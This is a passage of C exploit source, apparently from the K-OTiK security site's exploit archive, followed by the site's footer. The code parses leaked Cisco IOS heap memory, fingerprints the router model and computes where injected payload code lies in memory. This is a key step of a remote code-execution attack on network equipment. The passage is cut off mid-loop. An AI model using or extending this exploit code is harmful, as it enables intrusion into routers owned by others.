                              unsigned char *expected, unsigned int expected_length) {
                              #define ST_MAGIC 1
                              #define ST_PID 2
                              #define ST_CHECK 3
                              #define ST_NAME 4
                              #define ST_PC 5
                              #define ST_NEXT 6
                              #define ST_PREV 7
                              #define ST_SIZE 8
                              #define ST_REF 9
                              #define ST_LASTDE 10
                              #define ST_ID_ME_NOW 100
                              unsigned char *p;
                              int state=0;
                              int i=0;

                              unsigned char *opcode_begin;
                              unsigned char *block2_next_field;
                              unsigned int block3_next_val;

                              unsigned int p_name;
                              unsigned int p_pc;
                              unsigned int p_next;
                              unsigned int p_prev;


                              opcode_begin=NULL;
                              block2_next_field=NULL;
                              block3_next_val=0;

                              if ((!memcmp(b,expected,expected_length))) {
                              if (cfg.verbose>1) printf("Payload found!\n");
                              opcode_begin=b;
                              }

                              p=b;
                              while ((b+len-4)>p) {

                              if ( (p[0]==0xfd) && (p[1]==0x01) && (p[2]==0x10) && (p[3]==0xDF) ) {
                              if (cfg.verbose>1) printf("REDZONE MATCH!\n");
                              else { printf("!"); fflush(stdout); }
                              state=ST_MAGIC;
                              p+=4;
                              }

                              switch (state) {
                              case ST_MAGIC:
                              if (cfg.verbose)
                              printf("MEMORY BLOCK\n");
                              state++;
                              p+=4;
                              break;

                              case ST_PID:
                              if (cfg.verbose)
                              printf("\tPID : %08X\n",ntohl(*(unsigned int *)p));
                              state++;
                              p+=4;
                              break;

                              case ST_CHECK:
                              if (cfg.verbose)
                              printf("\tAlloc Check: %08X\n",ntohl(*(unsigned int *)p));
                              state++; 
                              p+=4;
                              break;

                              case ST_NAME:
                              p_name=ntohl(*(unsigned int *)p);
                              if (cfg.verbose)
                              printf("\tAlloc Name : %08X\n",p_name);
                              state++;
                              p+=4;
                              break;

                              case ST_PC:
                              p_pc=ntohl(*(unsigned int *)p);
                              if (cfg.verbose)
                              printf("\tAlloc PC : %08X\n",p_pc);
                              state++;
                              p+=4;
                              break;

                              case ST_NEXT:
                              p_next=ntohl(*(unsigned int *)p);
                              if (cfg.verbose) 
                              printf("\tNEXT Block : %08X\n",p_next);
                              if (block2_next_field==NULL) {
                              if (cfg.verbose) printf("Assigning as block2_next_field\n");
                              block2_next_field=p;
                              } else if (block3_next_val==0) {
                              if (cfg.verbose) printf("Assigning as block3_next_val\n");
                              block3_next_val=p_next;
                              }
                              state++;
                              p+=4;
                              break;

                              case ST_PREV:
                              p_prev=ntohl(*(unsigned int *)p);
                              if (cfg.verbose)
                              printf("\tPREV Block : %08X\n",p_prev);
                              state++;
                              p+=4;
                              break;

                              case ST_SIZE:
                              if (cfg.verbose)
                              printf("\tBlock Size : %8u words",
                              ntohl(*(unsigned int *)p)&0x7FFFFFFF);
                              if (ntohl(*(unsigned int *)p)&0x80000000) {
                              if (cfg.verbose)
                              printf(" (Block in use)\n");
                              } else {
                              if (cfg.verbose)
                              printf(" (Block NOT in use)\n");
                              }
                              state++;
                              p+=4;
                              break;

                              case ST_REF:
                              if (cfg.verbose)
                              printf("\tReferences : %8u\n",ntohl(*(unsigned int *)p));
                              state++;
                              p+=4;
                              break;

                              case ST_LASTDE:
                              if (cfg.verbose)
                              printf("\tLast DeAlc : %08X\n",ntohl(*(unsigned int *)p));
                              state=ST_ID_ME_NOW;
                              p+=4;
                              break;

                              //
                              // Identification 
                              //
                              case ST_ID_ME_NOW:

                              i=0;
                              while ((leak.guess==-1)&&(cisco_boxes[i].name!=NULL)) {
                              if (
                              (p_name>=cisco_boxes[i].PC_start) && 
                              (p_name<=cisco_boxes[i].PC_end) &&
                              (p_pc>=cisco_boxes[i].PC_start) && 
                              (p_pc<=cisco_boxes[i].PC_end) &&
                              (p_next>=cisco_boxes[i].IO_start) && 
                              (p_next<=cisco_boxes[i].IO_end) &&
                              (p_prev>=cisco_boxes[i].IO_start) && 
                              (p_prev<=cisco_boxes[i].IO_end)
                              ) {
                              leak.guess=i;
                              break;
                              }
                              i++;
                              }
                              state=0;
                              p+=4;
                              break;

                              default:
                              p+=1;

                              }
                              }

                              if ( (opcode_begin!=NULL) && (block2_next_field!=NULL) && (block3_next_val!=0) ) {
                              unsigned int delta;
                              unsigned int a;
                              unsigned int i;
                              int flag=0;

                              delta=(unsigned int)((void*)block2_next_field - (void*)opcode_begin);
                              a=block3_next_val-delta;

                              if (cfg.verbose) {
                              printf("\n");
                              printf("Delta between opcode_begin (%p) "
                              "and block2_next_field (%p) is %u\n",
                              (void*)block2_next_field, (void*)opcode_begin, delta);
                              printf("The third block is at 0x%08X\n", block3_next_val);
                              printf("Therefore, the code should be located at 0x%08X\n",a);
                              }

                              for (i=0;i


                              

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits